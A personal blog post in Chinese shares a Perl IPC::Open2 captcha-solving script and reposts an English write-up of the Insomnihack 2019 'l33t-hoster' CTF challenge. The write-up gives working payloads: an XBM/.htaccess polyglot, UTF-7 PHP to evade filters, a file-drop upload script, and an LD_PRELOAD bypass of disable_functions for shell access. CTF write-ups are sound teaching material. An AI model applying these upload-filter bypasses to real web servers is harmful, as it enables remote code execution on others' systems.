刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

利用perl进行交互式shell命令执行

某个ctf题在最后获取flag时,需要执行交互式命令,计算一个算术表达式,可以使用perl来解决

1.png

perl run.pl  #执行方法
#!/usr/bin/env perl 
use warnings;
use strict;
use IPC::Open2;

$| = 1;
chdir "/"; #!!!!!!!!!!!!!!!!!!!!!!!!!!

my $pid = open2(\*out2, \*in2, './get_flag') or die;

my $reply = <out2>;
print STDOUT $reply; #string: solve captcha..
$reply = <out2>;
print STDOUT $reply; #captcha formula

my $answer = eval($reply);
print STDOUT "answer: $answer\n"; 

print in2 " $answer "; #send it to process
in2->flush();

$reply = <out2>;
print STDOUT $reply; #flag :D



以下是该题完整的writeup:

l33t-hoster

Insomnihack CTF 2019 Web 137
Writeup by Payload, KAIST GoN

Problem

You can host your l33t pictures here.

Index

here
source

Look up

In main page, we can find one of upload form. Also, we can find a comment in html <!-- /?source -->. Let's check some parts of source.

$disallowed_ext = array( "php", "php3", "php4", "php5", "php7", "pht", "phtm", "phtml", "phar", "phps");   if (isset($_POST["upload"])) {     if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {         die("yuuuge fail");     }      $tmp_name = $_FILES["image"]["tmp_name"];     $name = $_FILES["image"]["name"];     $parts = explode(".", $name);     $ext = array_pop($parts);      if (empty($parts[0])) {         array_shift($parts);     }      if (count($parts) === 0) {         die("lol filename is empty");     }      if (in_array($ext, $disallowed_ext, TRUE)) {         die("lol nice try, but im not stupid dude...");     }      $image = file_get_contents($tmp_name);     if (mb_strpos($image, "<?") !== FALSE) {         die("why would you need php in a pic.....");     }      if (!exif_imagetype($tmp_name)) {         die("not an image.");     }      $image_size = getimagesize($tmp_name);     if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {         die("lol noob, your pic is not l33t enough");     }      $name = implode(".", $parts);     move_uploaded_file($tmp_name, $userdir . $name . "." . $ext); }

Now, we know the server's upload procedures.

  • Deny if file name is only extension. (like .htaccess.txt)

  • Deny if file has disallowed extension.

  • Deny if <? is included in file contents.

  • Deny if file can't pass exif_imagetype

  • Deny if not getimagesize returns 1337 * 1337

  • Else, copy file to your own folder

Well, since this is a PHP problem, maybe flag is in its root directory, we should make LFI or RCE vulnerability. How?
Let's make PHP to run our files :D

exif_imagetype(), getimagesize() and .htaccess

First, to attack the server, we must upload new .htaccess to run PHP with our own extensions.
But, how can we upload file with name .htaccess?
We can focus only shift array once when first exploded parts is empty.
So, when we make file nams as ..htaccess, it will be successfuly uploaded as .htaccess!

However, exif_imagetype functions check first some bytes that is valid image's magic number, we have to fake it.
In other words, we should make a file both satisfies image's magic number and .htaccess grammer.

However, we already know well-known image files such as .png.jpg can't build valid .htaccess because of magic number. Thus, I checked PHP reference and found a strange file, .xbm.

exif_imagetype imagetypes

I converted my sample image to xbm file, and GOTCHA!
Below is valid xbm file header, which passes exif_imagetype and getimagesize

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337 #define 4c11f3876d494218ff327e3ca6ac824f_height 1337

You got it?
Since both lines are starting with #, it will be interpreted as comment!
So, below is valid xbm file passes size check, and also .htaccess file!

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337 #define 4c11f3876d494218ff327e3ca6ac824f_height 1337 AddType application/x-httpd-php .asp

Run PHP without <?

Now, we know how to upload our own .htaccess, now it's time to upload valid PHP file.
It's too easy when you have XSS experiences, just use another encoding type such as UTF-7.
Since we can control .htaccess, we can define server's encoding, PHP file with UTF-7 will be run!
I changed my .htaccess and uploaded phpinfo.asp that shows phpinfo() :P

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337 #define 4c11f3876d494218ff327e3ca6ac824f_height 1337 AddType application/x-httpd-php .asp php_flag display_errors on php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"
#define 4c11f3876d494218ff327e3ca6ac824f_width 1337 #define 4c11f3876d494218ff327e3ca6ac824f_height 1337 +ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

Get a shell!

Now we know how to run php. Let's find the flag!
I uploaded the scanroot.asp that scan the root directory using scandir function.
We can find two files, flag and get_flag. A few moment later, we can know the goal of this problem is get a shell and launch get_flag Root directory

By the way, phpinfo() gives us important information, disable_functions.

disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,posix_mkfifo, pg_lo_import, dbmopen, dbase_open, popen, chgrp, chown, chmod, symlink,apache_setenv,define_syslog_variables, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_uname, proc_close, pclose, proc_nice, proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,imap_open,fopen,copy,rename,readfile,readlink,tmpfile,tempnam,touch,link,file_put_contents,file,ftp_connect,ftp_ssl_connect,

Important functions to get a shell like systemshell_execproc_open are blocked, we must bypass it.
I googled about bypassing, I found a method using LD_PRELOAD injection!
Also, I noticed that mail and putenv functions are not disabled, we may be able to use LD_PRELOAD injection

I built bypass.so and shell.php like in reference, it should be work :)

Upload the file...

We thought we just solved a problem, because we can get a shell!
However, there was a huge wall... How can we upload a valid .so file?
Since we must pass exif_imagetype, we can't make a valid .so file also valid image file...

After long rest, I just found move_uploaded_file is not disabled due to configure main page!
So, I just write simple upload form and php file deals with upload, up_form.html and upl.asp

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337 #define 4c11f3876d494218ff327e3ca6ac824f_height 1337 <form method="POST" action="upl.asp" enctype="multipart/form-data">     <input type="file" name="image"> <input type="text" name="name">     <input type="submit" name=upload> </form>
#define 4c11f3876d494218ff327e3ca6ac824f_width 1337 #define 4c11f3876d494218ff327e3ca6ac824f_height 1337 +ADw?php if (isset(+ACQAXw-POST+AFsAIg-upload+ACIAXQ)) +AHs     +ACQ-tmp+AF8-name +AD0 +ACQAXw-FILES+AFsAIg-image+ACIAXQBbACI-tmp+AF8-name+ACIAXQA7     move+AF8-uploaded+AF8-file(+ACQ-tmp+AF8-name, +ACQAXw-POST+AFsAIg-name+ACIAXQ)+ADs +AH0 ?+AD4-

Now, we can bypass any filter of main upload form!
New files are not forced be image or not include <?.
Thus, we can upload our backdoor .so file and shell .php file.
In addition, we can easily know the web root is /var/www/html, we can run our shell.php

Great, now we got a shell! ls -al

Wait, captcha?

Now, we thought just running /get_flag gives us a flag.
But, when we tried running /get_flag, it gives a simple captcha that is addition of 5 numbers.
Captcha

We have to deal with the pipes!

Firstly, we just tried reverse shell.
With some tries on our shell, we found that python, gcc is not available, but perl is
But, with some problem, SIGALRM is triggered too fast, we couldn't deal with the captcha :(

So we decided to deal standalonely, without reverse shell
After some search, we found that there is a feature to process pipe in child process in perl, IPC.
We wrote a perl script to spawn /get_flag, solve the captcha, and get flag

#!/usr/bin/env perl  use warnings; use strict; use IPC::Open2; $| = 1; my $pid = open2(\*out2, \*in2, '/get_flag') or die; my $reply = <out2>; print STDOUT $reply; #string: solve captcha.. $reply = <out2>; print STDOUT $reply; #captcha formula my $answer = eval($reply); print STDOUT "answer: $answer\n";  print in2 " $answer "; #send it to process in2->flush(); $reply = <out2>; print STDOUT $reply; #flag :D

Why no flag?

stream error

But, we weren't able to get a flag.
The last line which should print the flag gives us error.
So we downloaded the binary file and analyzed.

binary

We discovered get_flag binary is openning flag not /flag, so problem was about cwd(current working directory).
Finally, we add chdir in final perl script, run using uploaded shell, then got a flag :D

#!/usr/bin/env perl  use warnings; use strict; use IPC::Open2; $| = 1; chdir "/"; #!!!!!!!!!!!!!!!!!!!!!!!!!! my $pid = open2(\*out2, \*in2, './get_flag') or die; my $reply = <out2>; print STDOUT $reply; #string: solve captcha.. $reply = <out2>; print STDOUT $reply; #captcha formula my $answer = eval($reply); print STDOUT "answer: $answer\n";  print in2 " $answer "; #send it to process in2->flush(); $reply = <out2>; print STDOUT $reply; #flag :D

FLAG

INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.